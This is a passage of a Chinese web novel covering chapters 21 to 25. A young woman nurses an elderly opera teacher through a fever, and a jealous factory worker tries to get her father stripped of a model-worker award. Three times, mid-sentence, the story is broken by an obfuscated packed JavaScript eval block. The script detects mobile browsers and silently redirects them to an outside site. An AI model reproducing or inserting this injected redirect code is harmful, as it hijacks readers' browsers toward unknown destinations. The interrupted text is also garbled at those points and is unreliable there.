而且,汪顺莲自从被污蔑后,就恍恍惚惚,她也放不下心去上大学。 当时,基于各种原因,她选择了参加工作。 现在,她可以再选一次。 想学表演,可以去考电影学院、戏剧学院,从这些专业大学走出去的学生,有更大的机会会被电影厂录取,进了电影厂,说不定就可以拍电影。 即使拍不了,先学点专业知识,为后续做准备,也是很好的。 于秀雅边想着,边敲响舒丽娟的大门,“舒奶奶?” 她喊得声音并不大,舒丽娟又不是真的是个聋子! 敲了几下,她静静的等着舒丽娟来开门,以往,她都会晚几分钟来开门。 可于秀雅在外面等了好一会儿,也没人出来开门。 这是怎么回事? 她敲门的声音大了点,“舒奶奶?” 没有人回应,也没有人来开门。 难道是家里没人? 于秀雅脑海里升起这个念头后又熄灭! 舒奶奶不在家能去哪?她可从来都不出去溜达。 况且,门上也没有锁,大门是从里面杠住的。 又大声了一点,于秀雅继续喊道,“舒奶奶?” 等了几分钟后,还是没人来开门。 于秀雅把手里的书放下,四处看了看,没人,她扒上墙头,用了点力气,轻松翻过围墙。 看来这段时间的锻炼还是有用处的! 里面的门没关! 于秀雅更坚定舒奶奶还在家里的念头,她推开门,走了进去,一进去就看见舒奶奶躺在床上,脸色又红又白,旁边放着水和药。 “舒奶奶,你怎么了?”于秀雅立刻走上前,问道。 舒奶奶艰难的睁开眼睛,嘶哑着声音说道,“可能是昨天晚上受凉了,有点发烧!” 于秀雅摸了摸她的额头,果然很烫! “什么时候吃的药啊?” “早就吃了,等药效发挥就好了!” 于秀雅摸了摸杯子,冰凉的,旁边的药也不知道是什么时候的,用废报纸包着。 “那我在这照顾你,要是一会儿没退烧,我就送你去医院!” 于秀雅说完,也不管舒丽娟是同意还是拒绝,走出门外,把自己遗落在地上的书拿进来,找到开水瓶,给舒奶奶重新续上了热水。 “舒奶奶,你早上吃饭了吗?” 舒丽娟摇摇头,她早上起来就发高烧,浑身难受,找了点药吃上,哪还有精力去做饭? “我去厨房看看能给你做点什么!” 22. 打探! 厨房里的东西很少,于秀雅找了一遍,在一个柜子里发现小半坛的米,她平时在家不做饭,手艺有限,只能抓起一小把米,洗干净放进锅里,倒进去半瓢水,煮一锅小米粥。 时不时回屋子里看看舒丽娟的情况,她的体温还是很高,不知道药效什么时候才能起作用。 米粥煮好,在碗里来回倒,直到温度差不多了,于秀雅端到屋子里,把舒丽娟从床上扶起来,一勺一勺的喂她喝粥。 温热的白米粥对一夜没有进食,发烧发到浑身酸痛的舒丽娟来说,就如同及时雨一般,她强忍着身上的酸痛把米粥喝完。 胃里暖呼呼的。 舒丽娟恢复一点力气后,有些不好意思的对于秀雅说道,“麻烦你了!” “不麻烦!”于秀雅摆摆手,“举手之劳而已!” 舒丽娟重新躺回到床上,她还是没力气,“我好很多了,睡一觉就没事了,你先回去吧!” “我没事!”于秀雅怎么可能现在离开,“我等你退烧了再走!” “不用!”舒丽娟婉拒道,“我喝了粥,很快就会退烧的,你不用照顾我,快回家吧!” “反正我也没事,正好在这里看看书!”于秀雅拿出自己的书,自顾自的看了起来。 舒丽娟纵然心里不安,但身上实在不舒服,也没有精力再劝她,便不再说话,昏昏沉沉的进入梦乡。 这一觉睡得可真沉啊! 舒丽娟迷迷糊糊还做了几个梦,她梦见以前的事。 她长得好,有天赋,数她的戏唱得好,可不知道什么时候,她突然被打成‘反派’,不仅如此,还被最亲近的师兄妹‘告发’,从此以后,她便从活泼开朗变的阴郁寡言! 在台上唱戏的场景,跟师兄妹们一起玩闹的场景,被人告发的场景,被逼悔过的场景…… 一个又一个,如同走马灯一般,在舒丽娟的眼前晃来晃去,只听‘跨擦’一声,她的意识回笼,耳边传来悉悉索索的声音。 头很疼,她挣扎着睁开眼睛,周围一片雪白。 “舒奶奶?”于秀雅的声音在耳边响起。 舒丽娟朝左边看去,于秀雅站在床边,含笑看着她。 “你终于醒了!” 声音开始由虚变实,舒丽娟终于能听清于秀雅的话了。 “你的烧一直不退,我没办法,只好背着你来医院了!”于秀雅给舒丽娟倒了一杯温开水,“医生刚才给你挂了一瓶吊水,说是烧退了就没事了!” 舒丽娟想说话,却觉得嗓子疼的厉害,只能在于秀雅的搀扶下慢慢的喝下温水。 “你那些药太久了,不能吃了!”于秀雅掏出那包被废报纸包着的药,“我刚才给医生看了,医生说下次再吃这个,恐怕会加重病情!” 舒丽娟握着于秀雅的手,强忍着嗓子的不适,对于秀雅说道,“谢谢你了!” “不要再谢了!”于秀雅把舒丽娟重新扶回到床上,“我出去给你买点饭吃。” 舒丽娟的烧已经退了,只要把剩余的那瓶水吊完就能回家。 折腾了也有好几个小时,于秀雅饿了,她估摸着舒丽娟也饿了,让舒丽娟安心休息,便出去买了点吃的。 舒丽娟躺在床上,烧退了之后,她已经好多了。 于秀雅之前的请求,她能办到,只是不想再招惹前尘往事,所以一直推脱。 如今…… 等到于秀雅提着鸡蛋和稀饭来到病房,迎接她的是舒丽娟的一句犀利问句,“你说你想学戏曲,是想站在台前,被万人瞩目,还是真的喜欢这东西呢?” 于秀雅当时为了不让别人起疑,稀里糊涂的说想简单学点戏曲的身段,她总不能说自己是为了应对未来即将到来的选角团吧,却不料舒丽娟竟然误会她想学戏曲! “我……”于秀雅惭愧的说道,“舒奶奶,我对戏曲其实不是很感兴趣,只不过,我想学一点戏曲的身段……”已经说到这份上了,于秀雅也不再隐瞒,说道,“我想去演戏!现在都在拍古代的戏,我想着,学点戏曲的身份,以后一定用的上,所以……” 舒丽娟这下听明白了。 原来就为了这个啊! 松一口气的同时不禁又有点遗憾…… “这我就放心了,只要不是……”舒丽娟说到一半闭了嘴,“等我病好了,我就教你!到时候,你来我家,我们就在小院里上课!” 一直请求都没有被答应的事情突然就成功了…… 于秀雅想笑一下,但突然又想到舒奶奶还在生病,笑容还没出来就僵在脸上。 “东西给我,我要吃饭!”舒丽娟答应于秀雅后,心里有了盼头,胃口大开,大口大口吃着买来的鸡蛋和稀饭。 本以为舒奶奶病还没好,应该没什么胃口,就少买了一点,但是,看到舒奶奶吃的如此豪放,于秀雅不禁灿然一笑,“舒奶奶,慢慢吃!不够的话我就再去买!” “你还没吃吧?”舒丽娟笑着问道,“这点东西我吃是够了,你再出去买点自己吃吧!” 于秀雅笑着点点头! 病好了就是有生气! 于秀雅从医院出来,本打算去包子店买点包子,可正要走,却看见不远处有两个熟悉的人,一个是于闻仲厂里的同事,于秀雅只见过几面,不记得叫什么名字了,另一个人的脸她很熟悉,是冯腾飞,毕竟上辈子是于闻仲的徒弟,来家里吃过几顿饭,于秀雅对他的印象很深。 冯腾飞如今还没见过于秀雅,所以不知道她是于闻仲的女儿。 她装作天气冷,遮住脸,躲在角落里取暖。 冯腾飞朝她这边瞄了一眼,没察觉什么异常,又把脸转了回去。 “梁师傅,我就是听说您母亲生病了,所以来看看您有没有什么地方需要帮忙的!”冯腾飞说的很是谦虚体贴。 “谢谢你的好意!”梁苦根推拒他的礼物,“来看看就行了,带什么礼物啊!” “给您母亲的一点心意,一定得收下!”冯腾飞把礼物强硬的塞到梁苦根的怀里。 如此推拒之下,梁苦根只好收下,“那好,我替我娘谢谢你了!” “梁师傅!”冯腾飞话锋一转,问道,“厂里都在传,说于师傅是收了您的钱,才帮您干活。这是真的吗?” 问完,似乎是觉得自己太过突兀,便解释道,“于师傅一直是一个无私奉献的人,虽然他没有收我为徒,但是,这小半年,他教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358920|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我很多,我不想他被人诬蔑,所以,我想着先过来问问您,如果证实是谣言,我就去找厂长,让他给于师傅澄清谣言!” 冯腾飞说的义正言辞! 他跟着于闻仲加了小半年班的事情厂里的人都知道,前些天,于师傅婉拒他的事厂里的人也都知道,虽然没有成为师徒,但是,小半年的教导也确实可以称得上‘恩情’,为他澄清谣言也合情合理! 梁苦根不禁对冯腾飞刮目相看! 以前,冯腾飞给他的印象并不好,总觉得他有点过于阴沉,但是,没想到这次他会专门来看望他,还特意打听于师傅的事,想着为于师傅澄清谣言! 知恩图报的人再坏也坏不到哪里去。 梁苦根想起于闻仲的叮嘱,觉得于闻仲想多了,这样急着帮他澄清谣言的人,怎么会因为他给别人热心帮忙的事多想呢? 要是冯腾飞知道于闻仲根本没有收钱,只是顾及冯腾飞的想法,才故意让梁苦根对外宣称收钱了,冯腾飞一定会很感动,拼命在厂里宣扬于闻仲无私奉献的精神! 想到这,梁苦根有一瞬间的动摇,要不,干脆跟冯腾飞说实话? 于闻仲帮了他的忙,现在因为收钱的谣言,对他的名声产生了很大的影响,有人说于师傅变了,变得唯利是图! 梁苦根听到这些话心里也不好受! 别人帮你忙,你还把别人名声搞臭了,放谁身上,谁也过意不去啊! 刚要张嘴把实话说出来,于闻仲又闭上了嘴,他颠了颠手里的东西,觉得他这事做的不地道。 于闻仲帮了他的忙,他就该按照于闻仲的请求办事,怎么能因为冯腾飞带来的一点东西,就随随便便违背他对于闻仲的承诺呢? 亏他以前还觉得自己品德好,不是个唯利是图的人! 现在东西拿在手上,心也软了,嘴也松了,差点就把于闻仲的叮嘱忘在脑后了。 “腾飞啊!我知道你心是好的!”梁苦根还是把嘴边的话咽了下去,他决定不掺和于闻仲和冯腾飞之间的事情,“但是,这是于师傅的私事!况且,收钱是应该的,他帮我干活,我给他一点辛苦费,这是厂里的通识,别人说闲话那是他们眼馋!我那些活,他们就是想干也干不来!这钱,他们想挣也挣不到!” 梁苦根拍着冯腾飞的肩膀,说道,“更何况,于师傅最近的身体本来就不好,还因为身体不好也不能收你当徒弟了。我给他点辛苦费,让他买点东西补补身体,不是理所当然吗?别人说再多,我们一没害别人,二没干亏心事,管他们干什么?” 冯腾飞听完,低下头,不知道在想什么。 梁苦根看看时间,他也该回病房照顾他娘了,“于师傅教了你很多,我知道你感谢他!但是,这件事你就别管了!清者自清!过不了多久,这些谣言就会消失的!” 他抱着冯腾飞送的礼物,挥了挥手,“我们回头再聊,我先上去了!” “梁师傅慢走!” 冯腾飞目送梁苦根的背影消失在医院里! 他在原地站了有一分多钟,扶了扶帽子,离开医院。 于秀雅装作躲风,在角落里听了全程,她看着冯腾飞离去的背影,若有所思! 23. 举报! 一大早,机械厂的公告栏就围满了人,上面公布了本年度优秀标兵的名单,一共有三人,头一个就是于闻仲。 “果然有于师傅!今年就属他加班加的多!” “加班多不说,谁有问题去找他,他都能帮忙解决!这个标兵不给他也没别人好给了!” 有人夸,就有人眼馋。 “他给厂里奉献的多不假,可我觉得优秀标兵不该给他!” “不给他给谁?给你啊?天天活一多就请假,你也好意思说这话?” “去去去!现在是说优秀标兵的事,不是说我!” “说谁也轮不到你说!” “怎么轮不到我说了!我们厂一共就三个优秀标兵,不管给谁,都应该让人心服口服吧?” “给于师傅怎么就不让你心服口服了?论技术,厂里他是顶尖。论态度,他的活干的漂漂亮亮的。论待人接物,不管是谁,是新来的,还是老资格,有问题找他,他从不藏私。哪一点不让你心服口服了?” “我没说于师傅不好,我是觉得……于师傅帮别人干活还收钱,在厂里赚外快,优秀标兵就不该给他!” “收外快的又不止他一个,怎么就不能评优秀标兵了?” “赚外快的就不该评优秀标兵……” 几人争论不休,冯腾飞站在人群外围,没加入战局,却也没离开。他的眼神直勾勾的盯着公告栏上‘于闻仲’的名字,心里五味杂陈,嫉妒和愤怒的情绪翻飞。 凭什么? 随随便便就把他撇开,把他找八级工当师傅的机会夺走,随便加加班就能有外快赚,现在还评上了优秀标兵! 这世上的好事都让于闻仲占了…… 他转身离开,没有去往车间,而是趁没人的时候去了办公楼,来到厂长的办公室。 来的太早,办公室还没有开门,厂长当然也不在。 冯腾飞犹豫片刻……要不算了,一会儿该开工了,万一厂长今天来的晚,难道要在这里一直等吗…… 心里这么想,踩在地面上的两只脚却怎么也挪不动! 付文华哼着小调来到厂里,左手腋下夹着公文包,悠哉游哉的上楼,厂里今年的效益不错,几个八级工也都给力,让他在其他厂面前出了一把风头,就快过年了,到时候工资一发,说不定还能有点奖金…… 正寻思着奖金该发多少,突然看见办公室门口站了一个人! 听到脚步声,冯腾飞转过身,脸上挂上笑容,说道,“付厂长,早!” 付厂长?付文华特别不喜欢别人这么称呼他!什么付不付的,听起来跟副厂长一样?他明明是正儿八经的厂长,却无端比别人矮了一头,成了副的! 但也不好因为一个称呼跟别人发火,只好压下火气,朝冯腾飞点点头,“早!” 冯腾飞没有察觉付文华隐秘的情绪变化,他低声道,“付厂长,我刚从公告栏那边过来,那边刚把优秀标兵的名单贴上……” 付文华这才想起这件事,优秀标兵的名单上星期就下来了,不过,正好是下班之前,当时正忙,他也想早点下班回家,就吩咐管宣传的小王周一一早再贴。 没想到他动作还挺快,还没上班呢,就已经贴好了。 冯腾飞继续说道,“大家意见都挺大的!” “意见?”付文华皱起眉头,“怎么回事?” 优秀标兵一共就三个,选的都是厂里技术、人品都一流的人才,也经过上级审批同意了,付文华纳闷,怎么会有意见呢? 冯腾飞四处看了看,这里是走廊,说话实在不方便。 付文华明白冯腾飞的意思,打开门,对冯腾飞说,“进来说话!” 两人走进办公室,冯腾飞才开口说道,“付厂长,有件事您可能不知道!梁苦根梁师傅有一批货是于师傅帮忙做的,本来互帮互助也没什么,不过,于师傅收了梁师傅的钱!厂里有规定,不能私下交易,赚取快外! 本来于师傅不拿优秀标兵的话,赚点辛苦费谁也不会说什么。不过……刚才在下面,大家都吵翻天了!说既然于师傅违反了厂里的规定,那就没有资格评优秀标兵!” 付文华的脸彻底的阴了下来。 这个于闻仲啊!怎么会在这个时候干出这种昏头的事情呢?他以前帮谁都不收钱,怎么偏挑这个节骨眼收钱呢? 厂里确实有这个规定,主要是怕员工私自交换任务,到时候完不成、或者质量不过关,追究下来一团乱麻! 不过规定是规定,只要不出事,没人来打小报告,付文华也懒得管。 可是这次不一样…… 冯腾飞看着付文华的脸色越来越难看,继续说道,“于师傅当优秀标兵我是没意见的,只不过……刚才有人说不公平,还发牢骚说要去举报,让上面的人下来查查,看看为什么违反厂里规定的人还能评优秀标兵,是不是拿着外快赚来的钱去贿赂……” “胡说八道!”付文华忍不住打断道,“我堂堂一个厂长,怎么可能为了一点钱乱评优秀标兵?这可都是要上级审核的!” “付厂长别生气,您的品德厂里的人都知道,我相信您绝对不会做这种事情的!不过,不怕一万,就怕万一,谁知道上面的人下来会怎么查?能查出什么?”冯腾飞建议道,“我想着,最好在这件事还没闹大之前先把它扼杀在摇篮里!” 付文华也正有此意。 冯腾飞说的话有一定道理,谁也不知道上面下来的人会怎么查,也不知道他们会查什么,万一,往前一直追查,查到之前收钱干活的人怎么办?万一,再查出其他违规的行为怎么办? 有些事,不摆在明面上就什么事都没有,摆到明面上,违反厂里规定的一面大旗压下来,谁也跑不了。 他们厂别说评先进,出风头了,不被当成负面典型,在大会上检讨,挨批斗就烧高香了。 “你觉得应该怎么办?”付文华问道。 “我觉得首先要开大会说这个事!”冯腾飞一副为付文华着想的样子,“收钱没有收钱,现在都是道听途说,不摆在明面上,大家都议论纷纷的。摆到明面上,开大会一说,至少摆出一个态度,告诉大家,这事厂里会给大家一个交代! 如果没有收钱这件事,您正好给于师傅澄清这个谣言!要是真有收钱这个事……您稍微给点处罚,我估计大家也不会再去举报了!” 处罚…… 付文华忍不住看了冯腾飞一眼。 厂里的事他虽然没有事事躬亲,但是,冯腾飞跟着于闻仲学了小半年的事他也知道,前段时间,于闻仲身体不舒服,把冯腾飞拒了的事情,他略有耳闻,只不过,一个小小的冯腾飞,他根本没在意,只顾着关心于闻仲的身体了。 没想到……于闻仲这事,会被冯腾飞捅出来! 他虽然有心庇护于闻仲,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362526|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,首先得保住自己,保不住自己,他再有庇护的心,也没有庇护的力! “我知道了!”付文华点点头,“你先回去上班吧!这件事,我一定会给大家一个交代的!” 冯腾飞走出付文华的办公室,紧赶慢赶的往车间跑。 等他赶到车间的时候,人已经到的差不多了。 好在他平时就不怎么引人注意,所以也没几个人注意到他来晚了! 开始干活,冯腾飞的心情很是舒畅! 于闻仲收钱的事情是板上钉钉的,这次就算不能把他的优秀标兵搞黄,也能让他受到惩罚! 整天在厂里装模做样,搞得自己跟个圣人一样,临到头,还不是害的他一个师傅也没有拜成? 这下子终于能教育教育他了! 没过多久,付文华就走到车间,身边还跟着管宣传的小王。 车间很吵,机械声轰隆轰隆的,付文华跟身边的小王耳语几声,小王便走到车间大喊,“大家停一停!停一停!厂长有话说!” 车间很大,手里的活也不是说停就能停的。 付文华站在前面等了相当久,整个车间才安静下来。 “怎么了?出什么事情了?” 有人在下面窃窃私语。 “别说话!都别说话!”小王大喊道,“都安静一点,听厂长说。” 付文华清了清嗓子,开口道,“今天早上,优秀标兵的名单公布了!就在外面的公布栏,大家来上班应该都看到了!” 原来是这事! “我听说,有些人对名单有异议,是不是有这事?” 付文华问完,下面的人又开始窃窃私语。 “谁有异议啊?” “不知道!” “听说是对于闻仲有异议!” “于师傅?” “为什么?” “你不知道吗?于师傅给梁师傅帮忙干活,私下收他的钱了!” 于闻仲站在人堆里,脸上没什么表情,不管周围讨论的声音有多大,对他没有丝毫影响。 蒋理想觉得风头不对,凑到于闻仲跟前,小声问道,“于师傅,您真的收钱了?” 于闻仲看了他一眼,没说话。 付文华眼看着下面讨论的差不多了,便开口说道,“你们的意见我都听到了,优秀标兵的名单很早之前就递上去了,所有参选的人都是经过厂里精挑细选的,绝对公平公正,不存在任何的徇私舞弊!” 付文华说完,下面的讨论声更大。 “那就是承认了呗!” “还说公平呢!我看就是提前知道名单定下来了,所以才肆无忌惮的收钱!” “人家是八级工!不管干什么都得被供着!这种事放我们身上肯定要被处分,放人家身上就不用!” 有人不满,也有人为于闻仲说话。 “你们也不用这么说吧!于师傅被评为优秀标兵本来就是实至名归!论技术、工作态度,你们比得上吗?” “以前也有私下收钱的,不也没处罚吗?怎么这次就上纲上线了?” 眼看愈演愈烈! 付文华连忙站出来说道,“大家放心,这件事我一定会调查清楚,如果真的有人违反了厂里的规定,按照规则,是不能参与优秀标兵的评选的。名单正在公示期,任何人都可以对名单提出质疑,我一定会给大家一个满意的交代!” 24. 露出马脚! 付文华说的义正言辞,慷慨激昂,车间里的喧闹再次平息,所有人都等着他的下一句话! “这件事既然涉及到梁师傅和于师傅,必须当事人到场才能调查清楚!”付文华说道,“梁师傅今天请假没来,我刚才让人给医院打电话,通知他务必回来一趟!大家请耐心的等一等!” 付文华看向小王,示意他再去催一催! 给医院打电话找个人而已,怎么会这么慢? 蒋理想听完付文华的表态,心想,连惩罚措施都想好了,还精准的锁定于师傅,看来,是早有准备! 可是……付文华这人他知道,除了一门心思往上爬之外,也没什么坏心眼。 如果他早就知道于闻仲的事,为了自己的帽子,也为了维护机械厂的面子,他一定会悄无声息的把于闻仲的名额换掉,绝对不会如此大张旗鼓! 而且,上面已经确定了名额,虽说还在公示期,但贸然更换,无论是出于什么原因,都是一桩‘丑闻’,付文华绝对不会主动制造‘丑闻’! 唯一的可能是,今天早上张贴‘优秀标兵’的名单之前,付文华还不知道这事,或者说,知道了也没打算管。 就在张贴名单之后,有人把于闻仲收钱干活的事情捅了上去,付文华担心于闻仲评优秀标兵的资格有瑕疵,进而连累自己,不得不召开大会,在这么多人的面前撇清自己,处罚于闻仲。 究竟是谁?闲的没事干了?在这干吃力不讨好的事情? 蒋理想气的牙根直痒痒! 要知道,于师傅已经基本确定要收他为徒了(虽然还没挑明),但于师傅少了一个优秀标兵,就等于他未来的师傅少了一层金边! 本来这层金边已经镶上了,现在硬生生被撬走了,搁你身上你也生气! 蒋理想的眼睛在周围看热闹的人身上转来转去! 要是让他知道是谁,绝不会善罢甘休! “别吵了!别吵了!”小王迟迟不回来,车间里又开始窃窃私语,付文华只能自己出声制止。 “厂长!”蒋理想举起手,说道,“我觉得这事有点不公平!” “不公平?怎么不公平了?”付文华认识蒋理想,他爹是其他厂的领导,出去开会的时候经常能碰见。 蒋理想说道,“干活收钱这事,虽然厂里不允许,但是这次情况比较特殊。梁师傅家里有事,于师傅也是为了帮他,才会出手帮忙! 收钱是厂里私下的惯例,也不是从他开始的,如果现在要处罚,那之前的人是不是也得跟着一起罚? 评优秀标兵,看的是技术、态度,对厂里的贡献,这三点,哪一点于师傅都是顶尖,如果因为他帮人就取消他的资格,也太过分了!” 蒋理想的话说完,车间里吵吵闹闹的议论声小了很多。 不为别的,私下收钱帮别人干活的、给人钱帮自己干活的,车间里多的是。 谁还没有个急事了? 让人干活总得给点钱吧! 什么,你说厂里规定不让给? 那行,我想起来我也有点急事,你找别人吧! 机械厂开了也不是一年两年了,这么多年下来,没麻烦过别人的还真是少数! 取不取消于闻仲的资格说实话跟自己的关系不大,厂里一共就三个名额,取消一个,能评上自己的可能性很小。 如果因为一个跟自己没啥关系的优秀标兵,把自己找人干活,或者收钱给别人干活的事翻出来,再挨个处分,那就不划算了。 就在这时,出去催促的小王回来了,凑到付文华耳边说道,“梁师傅联系上了,不过,听他说,他娘的状况不太好,今天回不来!” 那这…… 当事人都回不来,这事…… 付文华眼珠子转了转,说道,“梁师傅在医院回不来,这事要不……等他回来再说?” 下面,躲在人群后面的冯腾飞眼神一暗,这种事情都是一鼓作气才能处分,要是拖一拖,后续还不知道会不会随便自罚三杯了事! “优秀标兵就三个,凭什么一个违反规定的也能被评上?”他忍不住对周围的人抱怨道,“除了他,厂里优秀的人多的是,我看季师傅就不错!” 季子路也是八级工,算是他们这个小组的头头,平时不怎么待见冯腾飞,但今天听了冯腾飞的话,心里忍不住赞同。 他也是八级工,平时干的活也不少,除了态度比不上于闻仲,其他的也不差! 如果于闻仲真的被刷下来了,说不定真的能评上他。 优秀标兵啊! 厂里一年就评三个,季子路是一个俗人,他当然也想要了。 “厂长!”季子路大声说道,“公示期就那么几天,梁苦根还不知道什么时候能回来!万一他迟迟不回来,我们要等到什么时候?” 季子路毕竟是个八级工,虽然在厂里的人缘一般,但他说话还是有人听的,最起码他组里的人得附和。 “就是!早说清楚早处理!拖下去,公示期都要过了!到时候,就算查清楚也来不及了!” “梁师傅虽然暂时回不来,但于师傅在啊!按照于师傅的品德,他不会说假话的吧?” “是啊!是啊!于师傅的人品我们是信得过的,他肯定不会说谎!” “问一问于师傅就清楚了!” “有没有收钱,于师傅自己肯定知道啊!” 付文华看向于闻仲,他是真不想给于闻仲难堪。 一来,于闻仲是八级工,也是老员工,抗事还好用,二来,于闻仲跟他的关系也还不错,这次优秀标兵还是他提议的,之前还卖过一次好,现在却要当众让他承认自己的错误……这跟当众羞辱有什么区别? 就在他犹犹豫豫,想着是要保全自己,还是给于闻仲留个面子的时候,于闻仲自己开口了。 “我没收钱!” 于闻仲的声音不大,但他的话一出,原本吵吵闹闹的车间瞬间安静下来。 没收钱? 怎么可能呢? 收钱的谣言传了不是一天两天了,要是真没收钱,干嘛不早点澄清?要知道,虽然大家都在干这种事,但真论起来毕竟是违反厂规的,像于师傅这种一心为厂里奉献的‘道德模范’,对于这种可能影响自己名声的事情,怎么会不纠正呢? 没有理由啊! 只有收了钱,没办法纠正,只能任由谣言肆虐,影响自己的名声这一种解释! 更何况,无风不起浪! 车间里的所有人都已经在心底认定于闻仲收钱了,现在,他却突然说自己没收钱,还是在这种‘批斗’大会上临时‘翻供’,谁能相信啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366446|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不光别人不信! 付文华也不信! “啊……于师傅……呃……”付文华不知道该怎么开口,他觉得于闻仲或许是觉得当众承认错误面子上挂不住,还会被取消优秀标兵的资格,才矢口否认! 可这样就给他出了一个大难题! 如果就这么相信于闻仲,那肯定是不能服众的。 但如果拆穿于闻仲的谎话,那就不仅仅是羞辱了,那简直是奇耻大辱! 他跟于闻仲的关系恐怕也…… 真是的,就不应该为了撇清关系开这么一个会,当时被冯腾飞的话吓住了,现在想想,谁会那么无聊,因为这么一点破事上去举报? 就算真的有,收钱的事情是名单递上去之后才发生的,查下来也怪不到他头上! 失策失策! 但事情如今已经闹到这个局面了,付文华也只能想办法解决了。 于闻仲肯定是不能得罪,但也不能搞成他故意包庇的样子…… “于师傅,我相信你!”付文华说道。 他刚说完,车间一片哗然! “真没收钱?没收钱这么久了为什么不澄清?” “我看是不好意思承认吧!” “估计是想拿优秀标兵!” “亏我还觉得于师傅品德高尚,敢做就一定敢认!原来人都一样,遇到事了都会撒谎!” “厂长也真是的,这种话都相信!” “厂长要包庇他,当然说什么信什么了!” 付文华下一句没说完下面就炸了,他赶紧开口道,“但是,厂里是一个讲证据的地方,不能你说什么,我们就信什么,对吧?” 付文华这句话说完,车间的声音才慢慢安静下来。 所有人都盯着于闻仲,等着他拿出证据,或者,等着看他笑话。 于闻仲看向付文华,反问道,“我没收钱,有什么证据?你们说我收钱了,你们才应该拿出证据吧!” 对啊! 付文华这次反应过来,不应该要于闻仲没收钱的证据,应该要的是于闻仲收钱的证据。 “厂长,你说有人质疑优秀标兵的评选标准,是谁质疑的,应该让他拿出质疑的证据,否则,别人说一句话,我就得劳心劳力的去证明,那我的活还干不干了?”于闻仲有理有据的说道。 质疑的人? 付文华在车间看了一圈,原本扯着嗓子喊的人纷纷低下头。 他们也都是听说,可没什么证据。 冯腾飞瞬间慌了,付文华不会把他打小报告的事情捅出来吧? 正想着,付文华就叫了他的名字。 “冯腾飞,你出来说说吧!” 付文华不想得罪于闻仲,但冯腾飞……他看不上这样的人,刚好借着这个机会出出气,“你对这件事知道的挺多的,那就站出来说说吧!” 付文华这么一说,其他人瞬间懂了! 怪不得突然开大会呢,原来是被人打小报告了。 职场上最可恨的不是分发任务的老板,而是躲在背后给你一刀的同事,这种打小报告的人,谁也不待见! 更何况,冯腾飞之前不还黏着于闻仲,想当他徒弟吗? 这刚被拒绝,就打小报告? 恩将仇报! 妥妥的小人啊! 25. 揭开小人的真面目! 冯腾飞猝不及防间被叫到名字,心道不好,下意识往周围一看,果然,四周的人全都看着他,那眼神……鄙视、不屑、不解、恍然大悟、嘲弄,让他瞬间慌了神! “我……”冯腾飞看向付文华,他不理解,为什么要当众叫他的名字,厂里对这种事,不是一向保密的吗? “付厂长……” 冯腾飞又喊出这个令人讨厌的称呼,付文华不想再惯着他了,开口道,“别叫付厂长了,现在是让你拿出证据,证明于师傅真的收了钱,如果你没有证据,那可算诬告啊!厂里虽然言论自由,于师傅又不爱跟人计较,但兔子急了还咬人呢! 于师傅为厂里做了这么多的贡献,你要是没有任何证据就来打小报告,于情于理,我这个做厂长的都不能饶了你!” 于闻仲收钱干活的谣言传的整个厂子都知道,但没人有证据,都是从别人嘴里听来的。 本以为是真的,但于闻仲否认了。 现在是真真假假分不清楚。 事情闹到这个地步,大家真的很想知道,于闻仲到底收没收钱! “冯腾飞,你别愣着了!”有人起哄道,“都去打小报告了,就别藏着掖着了,把证据拿出来吧!” 证据?哪有什么证据? 冯腾飞当时也是听别人闲聊,才知道的这事! 当时只是嫉妒,也没想到今天会被人当众架在这要证据,否则,他高低得拿到证据再去告状! “我看他就没证据!” “就想着告于师傅的黑状呗!” “不收徒就被这样搞!于师傅也太惨了!” “我看啊!收钱的谣言说不定就是冯腾飞传出来的!搞一个谣言,把于师傅的优秀标兵弄黄,报复他不收自己为徒,给自己出一口气!” “别看他平时不声不响的,干起坏事来真行啊!” 冯腾飞被周围的人冷嘲热讽,整张脸都红了起来。 不行,不能被别人认定成一个为了一己私利报复于闻仲的坏人,他必须得想个办法,把于师傅收钱的事情戳穿! 他当时去医院找过梁苦根,梁苦根亲口承认于师傅收了钱,这不可能是谎话! 他跟梁苦根不熟,梁苦根根本没理由骗他。 于闻仲现在这么说,一定是因为害怕丢掉优秀标兵,硬着头皮撒谎。 现在只有戳穿于闻仲的谎言,辩称自己是为了厂里的规定,为了维护大家的利益,才会去打小报告,不然,以后就没法在厂里混了。 想清楚利害关系,冯腾飞一口咬定,“付厂长,我不是诬告,于师傅真的收了钱,这事也不是我乱传的,是梁苦根梁师傅亲口告诉我的!” 亲口! 周围的人纷纷对视,眼神里流动着不言而喻的含义! 亲自去问跟自己没什么关系的事,冯腾飞为了举报还真是费心了。 